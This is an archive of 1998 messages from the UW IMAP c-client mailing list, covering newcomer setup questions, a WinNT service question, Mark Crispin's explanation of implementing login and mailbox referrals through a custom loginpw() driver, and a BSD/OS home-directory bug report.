Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA01224 for ; Fri, 23 Oct 1998 07:20:43 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA25836; Fri, 23 Oct 1998 07:20:37 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id HAA28549; Fri, 23 Oct 1998 07:19:55 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id HAA35648 for ; Fri, 23 Oct 1998 07:19:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id HAA13774 for ; Fri, 23 Oct 1998 07:19:13 -0700 Received: from mail.satsnet.com (mail.satsnet.com [207.36.24.131]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id HAA25805 for ; Fri, 23 Oct 1998 07:19:08 -0700 Received: from satsnet.com (fester.satsnet.com [207.36.24.151]) by mail.satsnet.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA01294 for ; Fri, 23 Oct 1998 09:37:58 -0400 Message-Id: <363086B5.7EC8DB3D@satsnet.com> Date: Fri, 23 Oct 1998 06:37:57 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Jose de Jesus Castillo To: IMAP List Subject: Eureka!! It Works!!! MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jcastil1@mail.satsnet.com X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Now that I got it working, I have a few questions. When I first connected my Netscape client to it, it scanned my home directory and made folders out of all folders and files. I know have what looks like a file manager with entries for my .cshrc, .login, dumpster, nsmail, public_html, etc.. Strange. Is this what is should look like. Also, is there a set of files that I can modify for stuff like addressbooks? Or is that a function of ACAP? ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 23 19:48:43 1998 -0700 Return-Path: Received: via tmail-4.1(9) (invoked by user mailnull) for mailarch+c-client; Fri, 23 Oct 1998 19:48:43 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id TAA15630 for ; Fri, 23 Oct 1998 19:48:42 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id TAA17198; Fri, 23 Oct 1998 19:48:35 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id TAA05586; Fri, 23 Oct 1998 19:47:54 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id TAA20756 for ; Fri, 23 Oct 1998 19:47:24 -0700 Received: from hotmail.com (f287.hotmail.com [207.82.251.178]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id TAA02335 for ; Fri, 23 Oct 1998 19:47:24 -0700 Received: (qmail 6902 invoked by uid 0); 24 Oct 1998 02:47:21 -0000 Received: from 12.78.101.46 by www.hotmail.com with HTTP; Fri, 23 Oct 1998 19:47:20 PDT Message-Id: <19981024024721.6901.qmail@hotmail.com> Date: Fri, 23 Oct 1998 22:47:20 EDT Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Flipper Dolphin" To: c-client@u.washington.edu Subject: Re: Eureka!! It Works!!! Content-Type: text/plain X-Originating-IP: [12.78.101.46] X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Of course it works. Kindly have the courtesy to RTFM and do your own research prior to posting beginners "how-to" questions here--this is supposed to be an extremely low-volume distribution handling issues of significance such as version updates, security problems, and bugs relating specifically to the UW IMAP and C-client software, not to the proper configuration of your browser software or "how do I get the IMAP software to run". Sheesh! -Tom Jose de Jesus Castillo wrote: > > Now that I got it working, I have a few questions. > > When I first connected my Netscape client to it, it scanned my home > directory and made folders out of all folders and files. I know have > what looks like a file manager with entries for my .cshrc, .login, > dumpster, nsmail, public_html, etc.. Strange. Is this what is should > look like. > > Also, is there a set of files that I can modify for stuff like > addressbooks? Or is that a function of ACAP? ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From pinedev@shivax2.cac.washington.edu Tue Oct 27 14:48:45 1998 -0800 Return-Path: Received: via tmail-4.1(9) (invoked by user mailnull) for mailarch+c-client; Tue, 27 Oct 1998 14:48:45 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA16128 for ; Tue, 27 Oct 1998 14:48:44 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id OAA11531; Tue, 27 Oct 1998 14:48:34 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id OAA09397; Tue, 27 Oct 1998 14:47:46 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id OAA30308 for ; Tue, 27 Oct 1998 14:46:55 -0800 Received: from callware.com (mail.callware.com [209.160.61.9]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with SMTP id OAA09474 for ; Tue, 27 Oct 1998 14:46:54 -0800 Received: from CallWare-Message_Server by callware.com with Novell_GroupWise; Tue, 27 Oct 1998 15:46:00 -0700 Message-Id: Date: Tue, 27 Oct 1998 15:45:52 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Richard Jorgensen" To: c-client@u.washington.edu Subject: IMAP server as an NTservice Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN I have a need to create a custom IMAP server running as a Service on = WinNT. I am planning on using the UW server as a starting point. I need = to make it into an actual Service rather then use inetlisn to pipe port = 143 to stdin. Does anyone know of a WinNT Service version of the IMAP server out there = or will I have to create my own? ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 18 23:48:37 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Nov 1998 23:48:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA17144 for ; Wed, 18 Nov 1998 23:48:35 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA28226; Wed, 18 Nov 1998 23:48:29 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA28834; Wed, 18 Nov 1998 23:46:51 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA27148 for ; Wed, 18 Nov 1998 23:44:17 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA07994 for ; Wed, 18 Nov 1998 23:44:16 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA22358 for ; Wed, 18 Nov 1998 23:44:13 -0800 Received: from ccsu11.ust.hk ([143.89.103.7]:64454 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <628397-17500>; Thu, 19 Nov 1998 15:42:34 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id PAA01988; Thu, 19 Nov 1998 15:42:34 +0800 Message-Id: <19981119154234.A1982@ust.hk> Date: Thu, 19 Nov 1998 15:42:34 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: c-client Interest List Subject: login-referrals/mailbox-referrals In-Reply-To: ; from Mark Crispin on Tue, Sep 08, 1998 at 03:25:42PM -0700 References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi All, How is the support of MAILBOX-REFERRALS or LOGIN-REFERRALS? I found it is announced in CAPABILITY in imapd-4.4.but no document talking about how to configure it. PINE 4.0x was built from c-client, should it support these extension as well? Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Nov 18 23:55:40 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Nov 1998 23:55:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA15195 for ; Wed, 18 Nov 1998 23:55:35 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA28310; Wed, 18 Nov 1998 23:55:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id XAA29141; Wed, 18 Nov 1998 23:54:19 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id XAA40614 for ; Wed, 18 Nov 1998 23:53:43 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA08712 for ; Wed, 18 Nov 1998 23:53:42 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pat@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id XAA28272 for ; Wed, 18 Nov 1998 23:53:39 -0800 Message-Id: Date: Wed, 18 Nov 1998 23:52:25 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: c-client Interest List Subject: re: login-referrals/mailbox-referrals In-Reply-To: <19981119154234.A1982@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Nov 1998 15:42:34 +0800, Lai Yiu Fai wrote: > How is the support of MAILBOX-REFERRALS or LOGIN-REFERRALS? I found it is > announced in CAPABILITY in imapd-4.4.but no document talking about how to > configure it. PINE 4.0x was built from c-client, should it support these > extension as well? There is full client support of referrals. Server referrals require an external database which you have to write the code to handle yourself. From pinedev@shivax2.cac.washington.edu Thu Nov 19 00:15:40 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Nov 1998 00:15:40 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA10718 for ; Thu, 19 Nov 1998 00:15:38 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA28637; Thu, 19 Nov 1998 00:15:31 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA00877; Thu, 19 Nov 1998 00:14:53 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA34096 for ; Thu, 19 Nov 1998 00:14:24 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA10005 for ; Thu, 19 Nov 1998 00:14:22 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA28622 for ; Thu, 19 Nov 1998 00:14:19 -0800 Received: from ccsu11.ust.hk ([143.89.103.7]:64468 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <628505-17501>; Thu, 19 Nov 1998 16:12:40 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id QAA02051; Thu, 19 Nov 1998 16:12:40 +0800 Message-Id: <19981119161240.B1982@ust.hk> Date: Thu, 19 Nov 1998 16:12:40 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: Mark Crispin Cc: c-client Interest List Subject: Re: login-referrals/mailbox-referrals In-Reply-To: ; from Mark Crispin on Wed, Nov 18, 1998 at 11:52:25PM -0800 References: <19981119154234.A1982@ust.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Wed, Nov 18, 1998 at 11:52:25PM -0800, Mark Crispin wrote: > On Thu, 19 Nov 1998 15:42:34 +0800, Lai Yiu Fai wrote: > > How is the support of MAILBOX-REFERRALS or LOGIN-REFERRALS? I found it is > > announced in CAPABILITY in imapd-4.4.but no document talking about how to > > configure it. PINE 4.0x was built from c-client, should it support these > > extension as well? > > There is full client support of referrals. > > Server referrals require an external database which you have to write the code > to handle yourself. I can't find any hook in c-client to link the external database for referrals support. It seems the related code appears on "./c-client/imap4r1.c" only ... else if (!strcmp (t,"MAILBOX-REFERRALS")) LOCAL->use_mbx_ref = T; else if (!strcmp (t,"LOGIN-REFERRALS")) LOCAL->use_log_ref = T; ... and no where the variable "use_mbx_ref" or "use_log_ref" found. Could you give more hints how can be done? Actually, I study whether it's possible to link to our LDAP server for users mailbox location. Thanks! Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Thu Nov 19 00:31:37 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Nov 1998 00:31:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA22054 for ; Thu, 19 Nov 1998 00:31:35 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA22961; Thu, 19 Nov 1998 00:31:28 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id AAA07025; Thu, 19 Nov 1998 00:30:47 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id AAA41444 for ; Thu, 19 Nov 1998 00:30:29 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA29720 for ; Thu, 19 Nov 1998 00:30:27 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (weaver@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id AAA28809 for ; Thu, 19 Nov 1998 00:30:25 -0800 Message-Id: Date: Thu, 19 Nov 1998 00:19:29 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: c-client Interest List Subject: Re: login-referrals/mailbox-referrals In-Reply-To: <19981119161240.B1982@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Nov 1998 16:12:40 +0800, Lai Yiu Fai wrote: > I can't find any hook in c-client to link the external database for > referrals support. You have to write the server code yourself in a mailbox format driver that you write to replace the drivers supplied in c-client. Basically, in the mailbox driver you write to be referral-enabled, you set LATT_REFERRAL for any LIST or LSUB results that has a referral, and for any operation that triggers a referral, you do an mm_notify() even with the text of the referral. You don't need to change imapd in any way; all the work is done in the driver. > It seems the related code appears on "./c-client/imap4r1.c" only > else if (!strcmp (t,"MAILBOX-REFERRALS")) LOCAL->use_mbx_ref = T; > else if (!strcmp (t,"LOGIN-REFERRALS")) LOCAL->use_log_ref = T; > and no where the variable "use_mbx_ref" or "use_log_ref" found. You didn't look carefully enough. use_mbx_ref is used in imap_list_work() to convert LIST to RLIST and LSUB to RLSUB. All other referral handling happens whether or not the capability is enabled. If you want to receive referrals in your client, you arm an imapreferral_t callback via SET_IMAPREFERRAL. Look at the Pine source code to see how this is done. From pinedev@shivax2.cac.washington.edu Thu Nov 19 01:35:32 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Nov 1998 01:35:31 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA11205 for ; Thu, 19 Nov 1998 01:35:30 -0800 (PST) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA29690; Thu, 19 Nov 1998 01:35:24 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id BAA02438; Thu, 19 Nov 1998 01:33:50 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id BAA40578 for ; Thu, 19 Nov 1998 01:33:23 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA32752 for ; Thu, 19 Nov 1998 01:33:22 -0800 Received: from uxmail.ust.hk (root@uxmail.ust.hk [143.89.14.30]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id BAA29646; Thu, 19 Nov 1998 01:33:16 -0800 Received: from ccsu11.ust.hk ([143.89.103.7]:64474 "HELO ccsu11" ident: "ccyflai") by uxmail.ust.hk with SMTP id <628134-17501>; Thu, 19 Nov 1998 17:32:11 +0800 Received: by ccsu11 (SMI-8.6//ident-1.0) id RAA02241; Thu, 19 Nov 1998 17:32:10 +0800 Message-Id: <19981119173210.D1982@ust.hk> Date: Thu, 19 Nov 1998 17:32:10 +0800 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Lai Yiu Fai To: Mark Crispin Cc: c-client Interest List Subject: Re: login-referrals/mailbox-referrals In-Reply-To: ; from Mark Crispin on Thu, Nov 19, 1998 at 12:19:29AM -0800 References: <19981119161240.B1982@ust.hk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, Nov 19, 1998 at 12:19:29AM -0800, Mark Crispin wrote: > ... > You don't need to change imapd in any way; all the work is done in the driver. > > > It seems the related code appears on "./c-client/imap4r1.c" only > > else if (!strcmp (t,"MAILBOX-REFERRALS")) LOCAL->use_mbx_ref = T; > > else if (!strcmp (t,"LOGIN-REFERRALS")) LOCAL->use_log_ref = T; > > and no where the variable "use_mbx_ref" or "use_log_ref" found. > > You didn't look carefully enough. use_mbx_ref is used in imap_list_work() to > convert LIST to RLIST and LSUB to RLSUB. All other referral handling happens > whether or not the capability is enabled. Ohh. Sorry, I miss that. However, I would rather interest about LOGIN-REFERRALS. It seems to be much simpler solution and helps to distribute users INBOX and their mailboxs into other servers. Right now, we suffer from scalability problem on single IMAP server for large no. of users. Found "LOGIN-REFERRALS" taken place right after LOGIN or AUTH command, and it doesn't relate to any mbox driver. So, how can I add hook to the external database for LOGIN-REFERRALS? Thanks very much again for your reply. Rgds, ======================================================================= Lai Yiu Fai | Tel.: (852) 2358-6202 Centre of Computing Services | Fax.: (852) 2358-2737 & Telecommunications | E-mail: ccyflai@ust.hk | The Hong Kong University of | Clear Water Bay, Science & Technology | Kowloon, Hong Kong. From pinedev@shivax2.cac.washington.edu Thu Nov 19 11:02:12 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Nov 1998 11:02:11 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA28417 for ; Thu, 19 Nov 1998 11:02:09 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id LAA04130; Thu, 19 Nov 1998 11:01:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id KAA26023; Thu, 19 Nov 1998 10:57:59 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id KAA61600 for ; Thu, 19 Nov 1998 10:46:17 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA18755 for ; Thu, 19 Nov 1998 10:46:16 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (gnof@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA10157 for ; Thu, 19 Nov 1998 10:46:13 -0800 Message-Id: Date: Thu, 19 Nov 1998 10:40:46 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: Mark Crispin To: Lai Yiu Fai Cc: c-client Interest List Subject: Re: login-referrals/mailbox-referrals In-Reply-To: <19981119173210.D1982@ust.hk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN On Thu, 19 Nov 1998 17:32:10 +0800, Lai Yiu Fai wrote: > So, how can I add hook to the external database for > LOGIN-REFERRALS? You should write your own log_xxx.c file (substitute any three letters for "xxx") in place of the log_std.c or whatever is used by your particular port. This is set by LOGINPW=std (or other settings for that port in the c-client Makefile). This implements a loginpw() routine which in the most basic form is something like: long loginpw (struct passwd *pw,int argc,char *argv[]) { return !(setgid (pw->pw_gid) || initgroups (pw->pw_name,pw->pw_gid) || setuid (pw->pw_uid)); } What you need to do is decide what to do for the particular UID (pw->pw_uid) and do an mm_log() if you want a referral. Either do mm_log (message,NIL); for a referral that still does an OK to LOGIN or AUTHENTICATE or mm_log (message,ERROR); for a referral that returns a NO and does not log in. From pinedev@shivax2.cac.washington.edu Thu Dec 3 08:29:59 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Dec 1998 08:29:58 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA06363 for ; Thu, 3 Dec 1998 08:29:57 -0800 (PST) Received: from lists2.u.washington.edu (root@lists2.u.washington.edu [140.142.56.1]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA00240; Thu, 3 Dec 1998 08:29:50 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by lists2.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with SMTP id IAA27875; Thu, 3 Dec 1998 08:27:51 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.8.4+UW97.07/8.8.4+UW98.06) with ESMTP id IAA18984 for ; Thu, 3 Dec 1998 08:25:59 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA06251 for ; Thu, 3 Dec 1998 08:25:57 -0800 Received: from honeybee.sover.net (erikl@honeybee.sover.net [209.198.87.129]) by mx2.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id IAA00121 for ; Thu, 3 Dec 1998 08:25:54 -0800 Received: from localhost (erikl@localhost) by honeybee.sover.net (8.9.0/8.9.0) with ESMTP id LAA24954; Thu, 3 Dec 1998 11:25:41 -0500 (EST) Message-Id: Date: Thu, 3 Dec 1998 11:25:40 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk From: "Erik R. Leo" To: bsdi-users@bsdi.com, c-client@CAC.Washington.EDU Subject: (UW)IMAP4, BSD/OS 4.0 and home directories MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: honeybee.sover.net: erikl owned process doing -bs X-Listprocessor-Version: 8.1 beta -- ListProcessor(tm) by CREN Hi; I am having a strange problem with getting the UW IMAP (c-client) server to check for mail in home directories. I have followed the IMAP documentation, and modifed src/osdep/unix/env_unix.c, function sysinbox(), replacing: sprintf (tmp,"%s/%s",MAILSPOOL,myusername ()); with: sprintf (tmp,"%s/INBOX",myhomedir ()); but myhomedir() is returning with the first 12 characters of the home directory lopped off (e.g., "/usr/home/user" becomes "er"). I have added some syslog calls to track down where the truncation is occuring, and it seems that the function loginpw() (in src/osdep/unix/log_bsi.c) is the culprit. More specifically, this function's interraction with the auth_compat(3) routine auth_approve results in adding 12 to the *value* of pw->pw_dir. I am using imap-4.4 on BSD/OS 4.0 patched through M400-017. I have reproduced the problem on earlier c-client IMAPs (including imap-4.1.FINAL from the BSD/OS 4.0 contributed source CD-ROM), and I have attemted to use the new, improved authenticate(3) interface (specifically by replacing the call to auth_approve with a call to auth_approval), all to no avail. I had this modification working fine under BSD/OS 3.1, with various versions of the c-client IMAP. I'm sending this message to the c-client mailing list and bsd-users, as well as opening a ticket with BSDI support, but I'd appreciate any advice or feedback the community has to offer. -Erik -- Erik R. Leo, Net Worker SoVerNet Tel: +1(802)463-2111 Vermont's Sovereign Internet Connection Fax: +1(802)463-2110 Post Office Box 495, 5 Rockingham Street Email: erikl@sover.net Bellows Falls, Vermont 05101 ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Dec 3 10:18:57 1998 -0800 Return-Path: Received: via tmail-4.1(10) (invoked by user mailnull) for mailarch+c-client; Thu, 3 Dec 1998 10:18:57 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupfs.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA16155 for ; Thu, 3 Dec 1998 10:18:55 -0800 (PST) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.1+UW98.09/8.9.1+UW98.09) with ESMTP id KAA22751; Thu, 3 